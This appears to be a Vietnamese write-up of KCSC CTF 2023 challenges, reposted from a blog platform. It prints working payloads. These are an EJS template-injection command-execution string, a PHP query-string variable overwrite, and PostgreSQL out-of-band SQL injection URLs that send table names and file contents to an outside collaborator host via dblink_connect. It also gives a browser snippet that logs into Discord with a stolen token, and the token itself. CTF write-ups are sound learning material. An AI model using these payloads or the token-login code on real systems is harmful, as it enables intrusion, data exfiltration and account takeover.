- vừa được xem lúc

KCSC CTF 2023 WRITE UP

0 0 26

Người đăng: anhbt

Theo Viblo Asia

Web challenges

valentine (stolen)

Phân tích

Vào chall ta nhận được một form để tạo card cho valentine:

Nhập giá trị bất kỳ vào biến name và submit ta nhận được:

Trông khá quen thuộc với chall có trong giải hxp 2022 CTF.

Đi kèm với link vào chall ta có thêm link write up và file source code:

Sau khi đã đọc write up và làm theo y như write up thì...

Dĩ nhiên là không được rùi vì tác giả đã sửa source code:

Tiếp tục search thì có vẻ chall này có liên quan đến CVE-2022-29078 lợi dụng view options của thư viện ejs. Nhưng CVE này chỉ hoạt động ở trước phiên bản ejs 3.1.7 còn phiên bản challenge sử dụng là 3.1.9:

Có vẻ không giòn, mình tiếp tục đọc write up chính của giải và thấy payload:

<.- global.process.mainModule.constructor._load(`child_process`).execSync(`/readflag`).toString() .>

Nhưng dấu - đã bị filter làm sao để sử dụng được payload này đây?

đọc lại source code thì mình thấy có đoạn replace này:

Khai thác

Ngon, thay <.- thành {{.> thành }} nên mình có payload cuối cùng:

{{ global.process.mainModule.constructor._load(`child_process`).execSync(`/readflag`).toString() }} {{ name }}

Submit payload trên và:

Bypass Captcha

Phân tích

Vào chall ta nhận được một form submit password:

Đọc file source:

Để có được flag thì verify captcha ($data->success) phải bằng 1 và thời gian từ lúc verify captcha đến lúc submit form phải nhỏ hơn 5 giây. Tiếp theo là password chúng ta nhập vào ($passwd) phải bằng với password được lưu trong server($PASSWD).

Đọc file config.php:

Ta thấy hàm parse_str($_SERVER['QUERY_STRING']);

$_SERVER['QUERY_STRING'] là một biến siêu toàn cục trong PHP chứa chuỗi truy vấn được gửi đến trang hiện tại. Hàm parse_str() trong PHP được sử dụng để phân tích chuỗi truy vấn (query string) thành các cặp giá trị khóa - giá trị.

Vậy là ta có thể dựa vào hàm parse_str() để ghi đè biến $PASSWD cho nó trùng với password mà chúng ta nhập.

Nhưng vấn đề là khi ta submit form bằng POST method thì phần QUERY_STRING trên URL sẽ không được gửi đi và server sẽ không khi đè được $PASSWD.

Khai thác

Để thực hiện được điều này thì ta có thể sửa thẳng attribute action trong form html thành action=index.php?PASSWD=123 sau đó verify và submit với $passwd=123

Và thế là:

Petshop

Sau khi kết thúc giải mình mới xin hint và solve chall này :<

Loại lỗ hổng trong chall là dựa vào hàm dblink_connect(text connname, text connstring) để khai thác SQLi Out of band PostgreSQL:

dblink_connect là một hàm được sử dụng để thiết lập một kết nối từ một cơ sở dữ liệu PostgreSQL đến một cơ sở dữ liệu khác trên cùng một hoặc một máy chủ PostgreSQL khác. Dblink_connect cho phép bạn thực hiện truy vấn hoặc truy cập dữ liệu từ các cơ sở dữ liệu khác nhau thông qua một kết nối từ xa.

connname: Tên định danh cho kết nối. Đây là một giá trị text và được sử dụng để đại diện cho kết nối trong các cuộc gọi hàm dblink khác. connstring: Chuỗi kết nối chứa các thông tin cần thiết để thiết lập kết nối đến cơ sở dữ liệu khác. Định dạng của chuỗi này phụ thuộc vào loại kết nối (VD: PostgreSQL, MySQL, Oracle).

Payload lấy tên table:

https://petshop.kcsc.tf/?sp='+union+SELECT+NULL,+dblink_connect(CONCAT('host%3d',(SELECT+tablename+from+pg_tables+limit+1)+,+'.222k7n44dimnpqudbnigx02ey54wsogd.oastify.com+user%3da+password%3da+'))--+-

Ngoài select tablename from pg_tables ta còn có thể dùng SELECT table_name FROM information_schema.tables WHERE table_schema = 'public'; hoặc SELECT relname, pg_size_pretty(pg_table_size(relid)) FROM pg_catalog.pg_stat_user_tables;

Sau khi đã có tên bảng là searches ta tiếp tục tìm tên cột:

https://petshop.kcsc.tf/?sp='+union+SELECT+NULL,+dblink_connect(CONCAT('host%3d',(SELECT+column_name+from+information_schema.columns+where+table_name+%3d+'searches'+limit+1+offset+1)+,+'.3jnlool5uj3o6rbesozhe1jff6lx9qxf.oastify.com+user%3da+password%3da+'))--+-

Để lấy kết quả từ hàng những hàng tiếp theo trong kết quả truy vấn trong PostgreSQL, bạn có thể sử dụng cú pháp LIMIT và OFFSET. Cú pháp LIMIT được sử dụng để giới hạn số lượng hàng được trả về, và cú pháp OFFSET được sử dụng để chỉ định vị trí hàng muốn bỏ qua

Sau khi đọc cột search ta thấy nó chứa một đường dẫn /var/lib/postgresql/data/sqlOutOfBand

Trong PostgreSQL có thể dùng pg_read_file() để đọc file và dùng pg_read_binary_file() để đọc file binary.

Đọc file binary trên với payload:

https://petshop.kcsc.tf/?sp=%27%20union%20SELECT%20NULL,%20dblink_connect(CONCAT(%27host=%27,(SELECT%20pg_read_binary_file%20(%27/var/lib/postgresql/data/sqlOutOfBand%27))%20,%20%27.7y6p3s099nislvqi7selt5yjua01oxcm.oastify.com%20user=a%20password=a%20%27))--%20-

Sau đó ASCII Hex Decode đoạn hex nhận được và ta có được flag:

Misc challenges

Git Gud

Phân tích

Download file về và giải nén ra ta có 2 file: .gitREADME.md

Đọc file README.md thấy có 1 link youtube và link này để troll 😢

Tiếp tục đến file .git đọc file logs/HEAD ta thấy:

File được clone về bởi bquanman ✌️

Khai thác

Sử dụng lệnh git reset --hard HEAD^ để di chuyển HEAD đến commit cha

Tại commit cha thấy rằng file README.md đã được update, thử đọc xem sao:

Vẫn chưa có thêm gì :<, tiếp tục chuyển HEAD về commit cha

Thấy file ảnh rac.jpg bị xóa tại HEAD này, tiếp tục chuyển HEAD về để xem ảnh đó là ảnh gì:

Mở ảnh đó lên và HEHE:

Shackles

Phân tích

Search justatree781 và ta nhận được một trang twitter của justatree781 có chứa 1 link đến gist: https://gist.github.com/truongangok

Đọc các file trong gist đó, nhưng không có gì 😢

Thoát khỏi chế độ view raw và mình đã thấy một đoạn hội thoại khá thú vị:

Khai thác

Bài này phải đến sau khi kết thúc giải, đi xin hint mình mới biết làm bước cuối

Đấy chính là add token Authorization vào cookie để đăng nhập vào discord của justatree781

Có thể chạy đoạn code này trong console log

function login(token) {
setInterval(() => {
document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage.token = `"${token}"`
}, 50);
setTimeout(() => {
location.reload();
}, 2500);
} login('MTA0OTI2NDEwOTIxODE4NTI0Nw.GYYIn3.fO2pfn9HuvHhfV1IWnfbNzVh9ZSE75XhM5dnLs') // Paste token here

Hoặc sử dụng extension: https://chrome.google.com/webstore/detail/discord-token-login/ealjoeebhfijfimofmecjcjcigmadcai

Và flag chính là username của tài khoản đó.

Bình luận

Bài viết tương tự

- vừa được xem lúc

Code sạch, Code dễ phát triển,... Lập trình viên đã biết về Code an toàn chưa??? (Phần 2)

. Như đã hứa ở cuối phần 1 thì trong phần 2 này mình sẽ nói về các lỗ hổng: PHP Type Juggling, Hard Coded, Xử lý dữ liệu quan trọng tại Client side, Sử dụng bộ sinh số ngẫu nhiên không an toàn,... Giờ thì tiếp tục với Secure Coding thôi . 3. PHP Type Junggling. Lỗ hổng typle junggling xảy ra do PHP

0 0 48

- vừa được xem lúc

Code sạch, Code dễ phát triển,... Lập trình viên đã biết về Code an toàn chưa??? (Phần 1)

. Văn vẻ mở đầu. Chắc hẳn các bạn sinh viên khi học các môn lập trình trên trường đều ít nhiều được nghe đến khái niệm Code sạch - Clean code: là cách đặt tên biến, tên hàm; cách code sao cho dễ đọc, đễ hiểu.

0 0 42

- vừa được xem lúc

[Write-up] Intigriti's December XSS Challenge 2020

Giới thiệu. Gần đây mình có làm thử một bài CTF về XSS của Intigriti (platform bug bounty của châu Âu) và nhờ có sự trợ giúp của những người bạn cực kỳ bá đạo, cuối cùng mình cũng hoàn thành được challenge.

0 0 47

- vừa được xem lúc

Java deserialization - Write up MatesCTF 2018 WutFaces

Mở đầu. Bài ctf này là 1 bài rất hay về lỗ hổng java deserialization mà các bạn muốn tìm hiểu về lỗ hổng này nên làm.

0 0 161

- vừa được xem lúc

Code sạch, Code dễ phát triển,... Lập trình viên đã biết về Code an toàn chưa??? (Phần 3)

Chắc hẳn sau phần 1 và phần 2 thì mọi người đã hiểu được mức độ quan trọng của việc đảm bảo an toàn cho sản phẩm ngay từ khi thiết kế và lập trình rồi. Ở phần 3 này, chúng ta sẽ tìm hiểu về 1 lỗ hổng

0 0 49

- vừa được xem lúc

Lần này vẫn có source code, nhưng hack thì dễ hơn

Bài trước (Đây là bài trước: https://viblo.asia/p/khi-co-source-code-roi-thi-hack-co-de-khong-maGK7G8AKj2), mình có đưa một câu hỏi là Khi có source code rồi thì hack có dễ không?.

0 0 57